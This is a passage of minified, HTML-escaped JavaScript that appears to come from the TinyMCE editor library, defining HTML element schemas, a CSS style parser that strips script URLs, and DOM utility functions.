charset&quot;),a(&quot;body&quot;,&quot;onafterprint onbeforeprint onbeforeunload onblur onerror onfocus onhashchange onload onmessage onoffline ononline onpagehide onpageshow onpopstate onresize onscroll onstorage onunload&quot;,r),a(&quot;address dt dd div caption&quot;,&quot;&quot;,r),a(&quot;h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn&quot;,&quot;&quot;,n),a(&quot;blockquote&quot;,&quot;cite&quot;,r),a(&quot;ol&quot;,&quot;reversed start type&quot;,&quot;li&quot;),a(&quot;ul&quot;,&quot;&quot;,&quot;li&quot;),a(&quot;li&quot;,&quot;value&quot;,r),a(&quot;dl&quot;,&quot;&quot;,&quot;dt dd&quot;),a(&quot;a&quot;,&quot;href target rel media hreflang type&quot;,n),a(&quot;q&quot;,&quot;cite&quot;,n),a(&quot;ins del&quot;,&quot;cite datetime&quot;,r),a(&quot;img&quot;,&quot;src sizes srcset alt usemap ismap width height&quot;),a(&quot;iframe&quot;,&quot;src name width height&quot;,r),a(&quot;embed&quot;,&quot;src type width height&quot;),a(&quot;object&quot;,&quot;data type typemustmatch name usemap form width height&quot;,[r,&quot;param&quot;].join(&quot; &quot;)),a(&quot;param&quot;,&quot;name value&quot;),a(&quot;map&quot;,&quot;name&quot;,[r,&quot;area&quot;].join(&quot; &quot;)),a(&quot;area&quot;,&quot;alt coords shape href target rel media hreflang type&quot;),a(&quot;table&quot;,&quot;border&quot;,&quot;caption colgroup thead tfoot tbody tr&quot;+(&quot;html4&quot;===e?&quot; col&quot;:&quot;&quot;)),a(&quot;colgroup&quot;,&quot;span&quot;,&quot;col&quot;),a(&quot;col&quot;,&quot;span&quot;),a(&quot;tbody thead tfoot&quot;,&quot;&quot;,&quot;tr&quot;),a(&quot;tr&quot;,&quot;&quot;,&quot;td th&quot;),a(&quot;td&quot;,&quot;colspan rowspan headers&quot;,r),a(&quot;th&quot;,&quot;colspan rowspan headers scope abbr&quot;,r),a(&quot;form&quot;,&quot;accept-charset action autocomplete enctype method name novalidate target&quot;,r),a(&quot;fieldset&quot;,&quot;disabled form name&quot;,[r,&quot;legend&quot;].join(&quot; &quot;)),a(&quot;label&quot;,&quot;form for&quot;,n),a(&quot;input&quot;,&quot;accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate formtarget height list max maxlength min multiple name pattern readonly required size src step type value width&quot;),a(&quot;button&quot;,&quot;disabled form formaction formenctype formmethod formnovalidate formtarget name type value&quot;,&quot;html4&quot;===e?r:n),a(&quot;select&quot;,&quot;disabled form multiple name required size&quot;,&quot;option optgroup&quot;),a(&quot;optgroup&quot;,&quot;disabled label&quot;,&quot;option&quot;),a(&quot;option&quot;,&quot;disabled label selected value&quot;),a(&quot;textarea&quot;,&quot;cols dirname disabled form maxlength name readonly required rows wrap&quot;),a(&quot;menu&quot;,&quot;type label&quot;,[r,&quot;li&quot;].join(&quot; &quot;)),a(&quot;noscript&quot;,&quot;&quot;,r),&quot;html4&quot;!==e&amp;&amp;(a(&quot;wbr&quot;),a(&quot;ruby&quot;,&quot;&quot;,[n,&quot;rt rp&quot;].join(&quot; &quot;)),a(&quot;figcaption&quot;,&quot;&quot;,r),a(&quot;mark rt rp summary bdi&quot;,&quot;&quot;,n),a(&quot;canvas&quot;,&quot;width height&quot;,r),a(&quot;video&quot;,&quot;src crossorigin poster preload autoplay mediagroup loop muted controls width height buffered&quot;,[r,&quot;track source&quot;].join(&quot; &quot;)),a(&quot;audio&quot;,&quot;src crossorigin preload autoplay mediagroup loop muted controls buffered volume&quot;,[r,&quot;track source&quot;].join(&quot; &quot;)),a(&quot;picture&quot;,&quot;&quot;,&quot;img source&quot;),a(&quot;source&quot;,&quot;src srcset type media sizes&quot;),a(&quot;track&quot;,&quot;kind src srclang label default&quot;),a(&quot;datalist&quot;,&quot;&quot;,[n,&quot;option&quot;].join(&quot; &quot;)),a(&quot;article section nav aside main header footer&quot;,&quot;&quot;,r),a(&quot;hgroup&quot;,&quot;&quot;,&quot;h1 h2 h3 h4 h5 h6&quot;),a(&quot;figure&quot;,&quot;&quot;,[r,&quot;figcaption&quot;].join(&quot; &quot;)),a(&quot;time&quot;,&quot;datetime&quot;,n),a(&quot;dialog&quot;,&quot;open&quot;,r),a(&quot;command&quot;,&quot;type label icon disabled checked radiogroup command&quot;),a(&quot;output&quot;,&quot;for form name&quot;,n),a(&quot;progress&quot;,&quot;value max&quot;,n),a(&quot;meter&quot;,&quot;value min max low high optimum&quot;,n),a(&quot;details&quot;,&quot;open&quot;,[r,&quot;summary&quot;].join(&quot; &quot;)),a(&quot;keygen&quot;,&quot;autofocus challenge disabled form keytype name&quot;)),&quot;html5-strict&quot;!==e&amp;&amp;(c(&quot;script&quot;,&quot;language xml:space&quot;),c(&quot;style&quot;,&quot;xml:space&quot;),c(&quot;object&quot;,&quot;declare classid code codebase codetype archive standby align border hspace vspace&quot;),c(&quot;embed&quot;,&quot;align name hspace vspace&quot;),c(&quot;param&quot;,&quot;valuetype type&quot;),c(&quot;a&quot;,&quot;charset name rev shape coords&quot;),c(&quot;br&quot;,&quot;clear&quot;),c(&quot;applet&quot;,&quot;codebase archive code object alt name width height align hspace vspace&quot;),c(&quot;img&quot;,&quot;name longdesc align border hspace vspace&quot;),c(&quot;iframe&quot;,&quot;longdesc frameborder marginwidth marginheight scrolling align&quot;),c(&quot;font basefont&quot;,&quot;size color face&quot;),c(&quot;input&quot;,&quot;usemap align&quot;),c(&quot;select&quot;,&quot;onchange&quot;),c(&quot;textarea&quot;),c(&quot;h1 h2 h3 h4 h5 h6 div p legend caption&quot;,&quot;align&quot;),c(&quot;ul&quot;,&quot;type compact&quot;),c(&quot;li&quot;,&quot;type&quot;),c(&quot;ol dl menu dir&quot;,&quot;compact&quot;),c(&quot;pre&quot;,&quot;width xml:space&quot;),c(&quot;hr&quot;,&quot;align noshade size width&quot;),c(&quot;isindex&quot;,&quot;prompt&quot;),c(&quot;table&quot;,&quot;summary width frame rules cellspacing cellpadding align bgcolor&quot;),c(&quot;col&quot;,&quot;width align char charoff valign&quot;),c(&quot;colgroup&quot;,&quot;width align char charoff valign&quot;),c(&quot;thead&quot;,&quot;align char charoff valign&quot;),c(&quot;tr&quot;,&quot;align char charoff valign bgcolor&quot;),c(&quot;th&quot;,&quot;axis align char charoff valign nowrap bgcolor width height&quot;),c(&quot;form&quot;,&quot;accept&quot;),c(&quot;td&quot;,&quot;abbr axis scope align char charoff valign nowrap bgcolor width height&quot;),c(&quot;tfoot&quot;,&quot;align char charoff valign&quot;),c(&quot;tbody&quot;,&quot;align char charoff valign&quot;),c(&quot;area&quot;,&quot;nohref&quot;),c(&quot;body&quot;,&quot;background bgcolor text link vlink alink&quot;)),&quot;html4&quot;!==e&amp;&amp;(c(&quot;input button select textarea&quot;,&quot;autofocus&quot;),c(&quot;input textarea&quot;,&quot;placeholder&quot;),c(&quot;a&quot;,&quot;download&quot;),c(&quot;link script img&quot;,&quot;crossorigin&quot;),c(&quot;iframe&quot;,&quot;sandbox seamless allowfullscreen&quot;)),ii(ci(&quot;a form meter progress dfn&quot;),function(e){s[e]&amp;&amp;delete s[e].children[e]}),delete s.caption.children.table,delete s.script,ni[e]=s)},fi=function(e,n){var r;return e&amp;&amp;(r={},&quot;string&quot;==typeof e&amp;&amp;(e={&quot;*&quot;:e}),ii(e,function(e,t){r[t]=r[t.toUpperCase()]=&quot;map&quot;===n?oi(e,/[, ]/):ui(e,/[, ]/)})),r};function di(i){var e,t,n,r,o,a,u,s,c,l,f,d,m,N={},g={},E=[],p={},h={},v=function(e,t,n){var r=i[e];return r?r=oi(r,/[, ]/,oi(r.toUpperCase(),/[, ]/)):(r=ni[e])||(r=oi(t,&quot; &quot;,oi(t.toUpperCase(),&quot; &quot;)),r=ai(r,n),ni[e]=r),r};n=li((i=i||{}).schema),!1===i.verify_html&amp;&amp;(i.valid_elements=&quot;*[*]&quot;),e=fi(i.valid_styles),t=fi(i.invalid_styles,&quot;map&quot;),s=fi(i.valid_classes,&quot;map&quot;),r=v(&quot;whitespace_elements&quot;,&quot;pre script noscript style textarea video audio iframe object code&quot;),o=v(&quot;self_closing_elements&quot;,&quot;colgroup dd dt li option p td tfoot th thead tr&quot;),a=v(&quot;short_ended_elements&quot;,&quot;area base basefont br col frame hr img input isindex link meta param embed source wbr track&quot;),u=v(&quot;boolean_attributes&quot;,&quot;checked compact declare defer disabled ismap multiple nohref noresize noshade nowrap readonly selected autoplay loop controls&quot;),l=v(&quot;non_empty_elements&quot;,&quot;td th iframe video audio object script pre code&quot;,a),f=v(&quot;move_caret_before_on_enter_elements&quot;,&quot;table&quot;,l),d=v(&quot;text_block_elements&quot;,&quot;h1 h2 h3 h4 h5 h6 p div address pre form blockquote center dir fieldset header footer article section hgroup aside main nav figure&quot;),c=v(&quot;block_elements&quot;,&quot;hr table tbody thead tfoot th tr td li ol ul caption dl dt dd noscript menu isindex option datalist select optgroup figcaption details summary&quot;,d),m=v(&quot;text_inline_elements&quot;,&quot;span strong b em i font strike u var cite dfn code mark q sup sub samp&quot;),ii((i.special||&quot;script noscript iframe noframes noembed title style textarea xmp&quot;).split(&quot; &quot;),function(e){h[e]=new RegExp(&quot;&lt;/&quot;+e+&quot;[^&gt;]*&gt;&quot;,&quot;gi&quot;)});var S=function(e){return new RegExp(&quot;^&quot;+e.replace(/([?+*])/g,&quot;.$1&quot;)+&quot;$&quot;)},y=function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,y,b,C=/^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)\])?$/,x=/^([!\-])?(\w+[\\:]:\w+|[^=:&lt;]+)?(?:([=:&lt;])(.*))?$/,w=/[*?+]/;if(e)for(e=ci(e,&quot;,&quot;),N[&quot;@&quot;]&amp;&amp;(h=N[&quot;@&quot;].attributes,v=N[&quot;@&quot;].attributesOrder),t=0,n=e.length;t&lt;n;t++)if(i=C.exec(e[t])){if(g=i[1],c=i[2],p=i[3],s=i[5],a={attributes:d={},attributesOrder:m=[]},&quot;#&quot;===g&amp;&amp;(a.paddEmpty=!0),&quot;-&quot;===g&amp;&amp;(a.removeEmpty=!0),&quot;!&quot;===i[4]&amp;&amp;(a.removeEmptyAttrs=!0),h){for(y in h)d[y]=h[y];m.push.apply(m,v)}if(s)for(r=0,o=(s=ci(s,&quot;|&quot;)).length;r&lt;o;r++)if(i=x.exec(s[r])){if(u={},f=i[1],l=i[2].replace(/[\\:]:/g,&quot;:&quot;),g=i[3],b=i[4],&quot;!&quot;===f&amp;&amp;(a.attributesRequired=a.attributesRequired||[],a.attributesRequired.push(l),u.required=!0),&quot;-&quot;===f){delete d[l],m.splice(si(m,l),1);continue}g&amp;&amp;(&quot;=&quot;===g&amp;&amp;(a.attributesDefault=a.attributesDefault||[],a.attributesDefault.push({name:l,value:b}),u.defaultValue=b),&quot;:&quot;===g&amp;&amp;(a.attributesForced=a.attributesForced||[],a.attributesForced.push({name:l,value:b}),u.forcedValue=b),&quot;&lt;&quot;===g&amp;&amp;(u.validValues=oi(b,&quot;?&quot;))),w.test(l)?(a.attributePatterns=a.attributePatterns||[],u.pattern=S(l),a.attributePatterns.push(u)):(d[l]||m.push(l),d[l]=u)}h||&quot;@&quot;!==c||(h=d,v=m),p&amp;&amp;(a.outputName=c,N[p]=a),w.test(c)?(a.pattern=S(c),E.push(a)):N[c]=a}},b=function(e){N={},E=[],y(e),ii(n,function(e,t){g[t]=e.children})},C=function(e){var a=/^(~)?(.+)$/;e&amp;&amp;(ni.text_block_elements=ni.block_elements=null,ii(ci(e,&quot;,&quot;),function(e){var t=a.exec(e),n=&quot;~&quot;===t[1],r=n?&quot;span&quot;:&quot;div&quot;,o=t[2];if(g[o]=g[r],p[o]=r,n||(c[o.toUpperCase()]={},c[o]={}),!N[o]){var i=N[r];delete(i=ai({},i)).removeEmptyAttrs,delete i.removeEmpty,N[o]=i}ii(g,function(e,t){e[r]&amp;&amp;(g[t]=e=ai({},g[t]),e[o]=e[r])})}))},x=function(e){var o=/^([+\-]?)(\w+)\[([^\]]+)\]$/;ni[i.schema]=null,e&amp;&amp;ii(ci(e,&quot;,&quot;),function(e){var t,n,r=o.exec(e);r&amp;&amp;(n=r[1],t=n?g[r[2]]:g[r[2]]={&quot;#comment&quot;:{}},t=g[r[2]],ii(ci(r[3],&quot;|&quot;),function(e){&quot;-&quot;===n?delete t[e]:t[e]={}}))})},w=function(e){var t,n=N[e];if(n)return n;for(t=E.length;t--;)if((n=E[t]).pattern.test(e))return n};return i.valid_elements?b(i.valid_elements):(ii(n,function(e,t){N[t]={attributes:e.attributes,attributesOrder:e.attributesOrder},g[t]=e.children}),&quot;html5&quot;!==i.schema&amp;&amp;ii(ci(&quot;strong/b em/i&quot;),function(e){e=ci(e,&quot;/&quot;),N[e[1]].outputName=e[0]}),ii(ci(&quot;ol ul sub sup blockquote span font a table tbody tr strong em b i&quot;),function(e){N[e]&amp;&amp;(N[e].removeEmpty=!0)}),ii(ci(&quot;p h1 h2 h3 h4 h5 h6 th td pre div address caption li&quot;),function(e){N[e].paddEmpty=!0}),ii(ci(&quot;span&quot;),function(e){N[e].removeEmptyAttrs=!0})),C(i.custom_elements),x(i.valid_children),y(i.extended_valid_elements),x(&quot;+ol[ul|ol],+ul[ul|ol]&quot;),ii({dd:&quot;dl&quot;,dt:&quot;dl&quot;,li:&quot;ul ol&quot;,td:&quot;tr&quot;,th:&quot;tr&quot;,tr:&quot;tbody thead tfoot&quot;,tbody:&quot;table&quot;,thead:&quot;table&quot;,tfoot:&quot;table&quot;,legend:&quot;fieldset&quot;,area:&quot;map&quot;,param:&quot;video audio object&quot;},function(e,t){N[t]&amp;&amp;(N[t].parentsRequired=ci(e))}),i.invalid_elements&amp;&amp;ii(ui(i.invalid_elements),function(e){N[e]&amp;&amp;delete N[e]}),w(&quot;span&quot;)||y(&quot;span[!data-mce-type|*]&quot;),{children:g,elements:N,getValidStyles:function(){return e},getValidClasses:function(){return s},getBlockElements:function(){return c},getInvalidStyles:function(){return t},getShortEndedElements:function(){return a},getTextBlockElements:function(){return d},getTextInlineElements:function(){return m},getBoolAttrs:function(){return u},getElementRule:w,getSelfClosingElements:function(){return o},getNonEmptyElements:function(){return l},getMoveCaretBeforeOnEnterElements:function(){return f},getWhiteSpaceElements:function(){return r},getSpecialElements:function(){return h},isValidChild:function(e,t){var n=g[e.toLowerCase()];return!(!n||!n[t.toLowerCase()])},isValid:function(e,t){var n,r,o=w(e);if(o){if(!t)return!0;if(o.attributes[t])return!0;if(n=o.attributePatterns)for(r=n.length;r--;)if(n[r].pattern.test(e))return!0}return!1},getCustomElements:function(){return p},addValidElements:y,setValidElements:b,addCustomElements:C,addValidChildren:x}}var mi=function(e,t,n,r){var o=function(e){return 1&lt;(e=parseInt(e,10).toString(16)).length?e:&quot;0&quot;+e};return&quot;#&quot;+o(t)+o(n)+o(r)};function gi(b,e){var C,t,c,l,x=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,w=/(?:url(?:(?:\(\s*\&quot;([^\&quot;]+)\&quot;\s*\))|(?:\(\s*\&#039;([^\&#039;]+)\&#039;\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\&#039;([^\&#039;]+)\&#039;)|(?:\&quot;([^\&quot;]+)\&quot;)/gi,N=/\s*([^:]+):\s*([^;]+);?/g,E=/\s+$/,S={},T=&quot;\ufeff&quot;;for(b=b||{},e&amp;&amp;(c=e.getValidStyles(),l=e.getInvalidStyles()),t=(&quot;\\\&quot; \\&#039; \\; \\: ; : &quot;+T).split(&quot; &quot;),C=0;C&lt;t.length;C++)S[t[C]]=T+C,S[T+C]=t[C];return{toHex:function(e){return e.replace(x,mi)},parse:function(e){var t,n,r,o,i,a,u,s,c={},l=b.url_converter,f=b.url_converter_scope||this,d=function(e,t,n){var r,o,i,a;if((r=c[e+&quot;-top&quot;+t])&amp;&amp;(o=c[e+&quot;-right&quot;+t])&amp;&amp;(i=c[e+&quot;-bottom&quot;+t])&amp;&amp;(a=c[e+&quot;-left&quot;+t])){var u=[r,o,i,a];for(C=u.length-1;C--&amp;&amp;u[C]===u[C+1];);-1&lt;C&amp;&amp;n||(c[e+t]=-1===C?u[0]:u.join(&quot; &quot;),delete c[e+&quot;-top&quot;+t],delete c[e+&quot;-right&quot;+t],delete c[e+&quot;-bottom&quot;+t],delete c[e+&quot;-left&quot;+t])}},m=function(e){var t,n=c[e];if(n){for(t=(n=n.split(&quot; &quot;)).length;t--;)if(n[t]!==n[0])return!1;return c[e]=n[0],!0}},g=function(e){return o=!0,S[e]},p=function(e,t){return o&amp;&amp;(e=e.replace(/\uFEFF[0-9]/g,function(e){return S[e]})),t||(e=e.replace(/\\([\&#039;\&quot;;:])/g,&quot;$1&quot;)),e},h=function(e){return String.fromCharCode(parseInt(e.slice(1),16))},v=function(e){return e.replace(/\\[0-9a-f]+/gi,h)},y=function(e,t,n,r,o,i){if(o=o||i)return&quot;&#039;&quot;+(o=p(o)).replace(/\&#039;/g,&quot;\\&#039;&quot;)+&quot;&#039;&quot;;if(t=p(t||n||r),!b.allow_script_urls){var a=t.replace(/[\s\r\n]+/g,&quot;&quot;);if(/(java|vb)script:/i.test(a))return&quot;&quot;;if(!b.allow_svg_data_urls&amp;&amp;/^data:image\/svg/i.test(a))return&quot;&quot;}return l&amp;&amp;(t=l.call(f,t,&quot;style&quot;)),&quot;url(&#039;&quot;+t.replace(/\&#039;/g,&quot;\\&#039;&quot;)+&quot;&#039;)&quot;};if(e){for(e=(e=e.replace(/[\u0000-\u001F]/g,&quot;&quot;)).replace(/\\[\&quot;\&#039;;:\uFEFF]/g,g).replace(/\&quot;[^\&quot;]+\&quot;|\&#039;[^\&#039;]+\&#039;/g,function(e){return e.replace(/[;:]/g,g)});t=N.exec(e);)if(N.lastIndex=t.index+t[0].length,n=t[1].replace(E,&quot;&quot;).toLowerCase(),r=t[2].replace(E,&quot;&quot;),n&amp;&amp;r){if(n=v(n),r=v(r),-1!==n.indexOf(T)||-1!==n.indexOf(&#039;&quot;&#039;))continue;if(!b.allow_script_urls&amp;&amp;(&quot;behavior&quot;===n||/expression\s*\(|\/\*|\*\//.test(r)))continue;&quot;font-weight&quot;===n&amp;&amp;&quot;700&quot;===r?r=&quot;bold&quot;:&quot;color&quot;!==n&amp;&amp;&quot;background-color&quot;!==n||(r=r.toLowerCase()),r=(r=r.replace(x,mi)).replace(w,y),c[n]=o?p(r,!0):r}d(&quot;border&quot;,&quot;&quot;,!0),d(&quot;border&quot;,&quot;-width&quot;),d(&quot;border&quot;,&quot;-color&quot;),d(&quot;border&quot;,&quot;-style&quot;),d(&quot;padding&quot;,&quot;&quot;),d(&quot;margin&quot;,&quot;&quot;),i=&quot;border&quot;,u=&quot;border-style&quot;,s=&quot;border-color&quot;,m(a=&quot;border-width&quot;)&amp;&amp;m(u)&amp;&amp;m(s)&amp;&amp;(c[i]=c[a]+&quot; &quot;+c[u]+&quot; &quot;+c[s],delete c[a],delete c[u],delete c[s]),&quot;medium none&quot;===c.border&amp;&amp;delete c.border,&quot;none&quot;===c[&quot;border-image&quot;]&amp;&amp;delete c[&quot;border-image&quot;]}return c},serialize:function(i,e){var t,n,r,o,a,u=&quot;&quot;,s=function(e){var t,n,r,o;if(t=c[e])for(n=0,r=t.length;n&lt;r;n++)e=t[n],(o=i[e])&amp;&amp;(u+=(0&lt;u.length?&quot; &quot;:&quot;&quot;)+e+&quot;: &quot;+o+&quot;;&quot;)};if(e&amp;&amp;c)s(&quot;*&quot;),s(e);else for(t in i)!(n=i[t])||l&amp;&amp;(r=t,o=e,a=void 0,(a=l[&quot;*&quot;])&amp;&amp;a[r]||(a=l[o])&amp;&amp;a[r])||(u+=(0&lt;u.length?&quot; &quot;:&quot;&quot;)+t+&quot;: &quot;+n+&quot;;&quot;);return u}}}var pi,hi=Xt.each,vi=Xt.grep,yi=fe.ie,bi=/^([a-z0-9],?)+$/i,Ci=/^[ \t\r\n]*$/,xi=function(n,r,o){var e={},i=r.keep_values,t={set:function(e,t,n){r.url_converter&amp;&amp;(t=r.url_converter.call(r.url_converter_scope||o(),t,n,e[0])),e.attr(&quot;data-mce-&quot;+n,t).attr(n,t)},get:function(e,t){return e.attr(&quot;data-mce-&quot;+t)||e.attr(t)}};return e={style:{set:function(e,t){null===t||&quot;object&quot;!=typeof t?(i&amp;&amp;e.attr(&quot;data-mce-style&quot;,t),e.attr(&quot;style&quot;,t)):e.css(t)},get:function(e){var t=e.attr(&quot;data-mce-style&quot;)||e.attr(&quot;style&quot;);return t=n.serialize(n.parse(t),e[0].nodeName)}}},i&amp;&amp;(e.href=e.src=t),e},wi=function(e,t){var n=t.attr(&quot;style&quot;),r=e.serialize(e.parse(n),t[0].nodeName);r||(r=null),t.attr(&quot;data-mce-style&quot;,r)},Ni=function(e,t){var n,r,o=0;if(e)for(n=e.nodeType,e=e.previousSibling;e;e=e.previousSibling)r=e.nodeType,(!t||3!==r||r!==n&amp;&amp;e.nodeValue.length)&amp;&amp;(o++,n=r);return o};function Ei(a,u){var s,c=this;void 0===u&amp;&amp;(u={});var r={},i=V.window,o={},t=0,e=function(m,g){void 0===g&amp;&amp;(g={});var p,h=0,v={};p=g.maxLoadTime||5e3;var y=function(e){m.getElementsByTagName(&quot;head&quot;)[0].appendChild(e)},n=function(e,t,n){var o,r,i,a,u=function(){for(var e=a.passed,t=e.length;t--;)e[t]();a.status=2,a.passed=[],a.failed=[]},s=function(){for(var e=a.failed,t=e.length;t--;)e[t]();a.status=3,a.passed=[],a.failed=[]},c=function(e,t){e()||((new Date).getTime()-i&lt;p?he.setTimeout(t):s())},l=function(){c(function(){for(var e,t,n=m.styleSheets,r=n.length;r--;)if((t=(e=n[r]).ownerNode?e.ownerNode:e.owningElement)&amp;&amp;t.id===o.id)return u(),!0},l)},f=function(){c(function(){try{var e=r.sheet.cssRules;return u(),!!e}catch(t){}},f)};if(e=Xt._addCacheSuffix(e),v[e]?a=v[e]:(a={passed:[],failed:[]},v[e]=a),t&amp;&amp;a.passed.push(t),n&amp;&amp;a.failed.push(n),1!==a.status)if(2!==a.status)if(3!==a.status){if(a.status=1,(o=m.createElement(&quot;link&quot;)).rel=&quot;stylesheet&quot;,o.type=&quot;text/css&quot;,o.id=&quot;u&quot;+h++,o.async=!1,o.defer=!1,i=(new Date).getTime(),g.contentCssCors&amp;&amp;(o.crossOrigin=&quot;anonymous&quot;),&quot;onload&quot;in o&amp;&amp;!((d=V.navigator.userAgent.match(/WebKit\/(\d*)/))&amp;&amp;parseInt(d[1],10)&lt;536))o.onload=l,o.onerror=s;else{if(0&lt;V.navigator.userAgent.indexOf(&quot;Firefox&quot;))return(r=m.createElement(&quot;style&quot;)).textContent=&#039;@import &quot;&#039;+e+&#039;&quot;&#039;,f(),void y(r);l()}var d;y(o),o.href=e}else s();else u()},t=function(t){return uo.nu(function(e){n(t,H(e,q(mo.value(t))),H(e,q(mo.error(t))))})},o=function(e){return e.fold($,$)};return{load:n,loadAll:function(e,n,r){co(W(e,t)).get(function(e){var t=K(e,function(e){return e.isValue()});0&lt;t.fail.length?r(t.fail.map(o)):n(t.pass.map(o))})}}}(a,{contentCssCors:u.contentCssCors}),l=[],f=u.schema?u.schema:di({}),d=gi({url_converter:u.url_converter,url_converter_scope:u.url_converter_scope},u.schema),m=u.ownEvents?new Se(u.proxy):Se.Event,n=f.getBlockElements(),g=gn.overrideDefaults(function(){return{context:a,element:j.getRoot()}}),p=function(e){if(e&amp;&amp;a&amp;&amp;&quot;string&quot;==typeof e){var t=a.getElementById(e);return t&amp;&amp;t.id!==e?a.getElementsByName(e)[1]:t}return e},h=function(e){return&quot;string&quot;==typeof e&amp;&amp;(e=p(e)),g(e)},v=function(e,t,n){var r,o,i=h(e);return i.length&amp;&amp;(o=(r=s[t])&amp;&amp;r.get?r.get(i,t):i.attr(t)),void 0===o&amp;&amp;(o=n||&quot;&quot;),o},y=function(e){var t=p(e);return t?t.attributes:[]},b=function(e,t,n){var r,o;&quot;&quot;===n&amp;&amp;(n=null);var i=h(e);r=i.attr(t),i.length&amp;&amp;((o=s[t])&amp;&amp;o.set?o.set(i,n,t):i.attr(t,n),r!==n&amp;&amp;u.onSetAttrib&amp;&amp;u.onSetAttrib({attrElm:i,attrName:t,attrValue:n}))},C=function(){return u.root_element||a.body},x=function(e,t){return Zr.getPos(a.body,p(e),t)},w=function(e,t,n){var r=h(e);return n?r.css(t):(&quot;float&quot;===(t=t.replace(/-(\D)/g,function(e,t){return t.toUpperCase()}))&amp;&amp;(t=fe.ie&amp;&amp;fe.ie&lt;12?&quot;styleFloat&quot;:&quot;cssFloat&quot;),r[0]&amp;&amp;r[0].style?r[0].style[t]:undefined)},N=function(e){var t,n;return e=p(e),t=w(e,&quot;width&quot;),n=w(e,&quot;height&quot;),-1===t.indexOf(&quot;px&quot;)&amp;&amp;(t=0),-1===n.indexOf(&quot;px&quot;)&amp;&amp;(n=0),{w:parseInt(t,10)||e.offsetWidth||e.clientWidth,h:parseInt(n,10)||e.offsetHeight||e.clientHeight}},E=function(e,t){var n;if(!e)return!1;if(!Array.isArray(e)){if(&quot;*&quot;===t)return 1===e.nodeType;if(bi.test(t)){var r=t.toLowerCase().split(/,/),o=e.nodeName.toLowerCase();for(n=r.length-1;0&lt;=n;n--)if(r[n]===o)return!0;return!1}if(e.nodeType&amp;&amp;1!==e.nodeType)return!1}var i=Array.isArray(e)?e:[e];return 0&lt;St(t,i[0].ownerDocument||i[0],null,i).length},S=function(e,t,n,r){var o,i=[],a=p(e);for(r=r===undefined,n=n||(&quot;BODY&quot;!==C().nodeName?C().parentNode:null),Xt.is(t,&quot;string&quot;)&amp;&amp;(t=&quot;*&quot;===(o=t)?function(e){return 1===e.nodeType}:function(e){return E(e,o)});a&amp;&amp;a!==n&amp;&amp;a.nodeType&amp;&amp;9!==a.nodeType;){if(!t||&quot;function&quot;==typeof t&amp;&amp;t(a)){if(!r)return[a];i.push(a)}a=a.parentNode}return r?i:null},T=function(e,t,n){var r=t;if(e)for(&quot;string&quot;==typeof t&amp;&amp;(r=function(e){return E(e,t)}),e=e[n];e;e=e[n])if(&quot;function&quot;==typeof r&amp;&amp;r(e))return e;return null},k=function(e,n,r){var o,t=&quot;string&quot;==typeof e?p(e):e;if(!t)return!1;if(Xt.isArray(t)&amp;&amp;(t.length||0===t.length))return o=[],hi(t,function(e,t){e&amp;&amp;(&quot;string&quot;==typeof e&amp;&amp;(e=p(e)),o.push(n.call(r,e,t)))}),o;var i=r||c;return n.call(i,t)},_=function(e,t){h(e).each(function(e,n){hi(t,function(e,t){b(n,t,e)})})},A=function(e,r){var t=h(e);yi?t.each(function(e,t){if(!1!==t.canHaveHTML){for(;t.firstChild;)t.removeChild(t.firstChild);try{t.innerHTML=&quot;&lt;br&gt;&quot;+r,t.removeChild(t.firstChild)}catch(n){gn(&quot;&lt;div&gt;&lt;/div&gt;&quot;).html(&quot;&lt;br&gt;&quot;+r).contents().slice(1).appendTo(t)}return r}}):t.html(r)},R=function(e,n,r,o,i){return k(e,function(e){var t=&quot;string&quot;==typeof n?a.createElement(n):n;return _(t,r),o&amp;&amp;(&quot;string&quot;!=typeof o&amp;&amp;o.nodeType?t.appendChild(o):&quot;string&quot;==typeof o&amp;&amp;A(t,o)),i?t:e.appendChild(t)})},D=function(e,t,n){return R(a.createElement(e),e,t,n,!0)},O=ti.decode,B=ti.encodeAllRaw,P=function(e,t){var n=h(e);return t?n.each(function(){for(var e;e=this.firstChild;)3===e.nodeType&amp;&amp;0===e.data.length?this.removeChild(e):this.parentNode.insertBefore(e,this)}).remove():n.remove(),1&lt;n.length?n.toArray():n[0]},I=function(e,t,n){h(e).toggleClass(t,n).each(function(){&quot;&quot;===this.className&amp;&amp;gn(this).attr(&quot;class&quot;,null)})},L=function(t,e,n){return k(e,function(e){return Xt.is(e,&quot;array&quot;)&amp;&amp;(t=t.cloneNode(!0)),n&amp;&amp;hi(vi(e.childNodes),function(e){t.appendChild(e)}),e.parentNode.replaceChild(t,e)})},F=function(){return a.createRange()},M=function(e,t,n,r){if(Xt.isArray(e)){for(var o=e.length;o--;)e[o]=M(e[o],t,n,r);return e}return!u.collect||e!==a&amp;&amp;e!==i||l.push([e,t,n,r]),m.bind(e,t,n,r||j)},z=function(e,t,n){var r;if(Xt.isArray(e)){for(r=e.length;r--;)e[r]=z(e[r],t,n);return e}if(l&amp;&amp;(e===a||e===i))for(r=l.length;r--;){var o=l[r];e!==o[0]||t&amp;&amp;t!==o[1]||n&amp;&amp;n!==o[2]||m.unbind(o[0],o[1],o[2])}return m.unbind(e,t,n)},U=function(e){if(e&amp;&amp;jo.isElement(e)){var t=e.getAttribute(&quot;data-mce-contenteditable&quot;);return t&amp;&amp;&quot;inherit&quot;!==t?t:&quot;inherit&quot;!==e.contentEditable?e.contentEditable:null}return null},j={doc:a,settings:u,win:i,files:o,stdMode:!0,boxModel:!0,styleSheetLoader:e,boundEvents:l,styles:d,schema:f,events:m,isBlock:function(e){if(&quot;string&quot;==typeof e)return!!n[e];if(e){var t=e.nodeType;if(t)return!(1!==t||!n[e.nodeName])}return!1},$:g,$$:h,root:null,clone:function(t,e){if(!yi||1!==t.nodeType||e)return t.cloneNode(e);if(!e){var n=a.createElement(t.nodeName);return hi(y(t),function(e){b(n,e.nodeName,v(t,e.nodeName))}),n}return null},getRoot:C,getViewPort:function(e){var 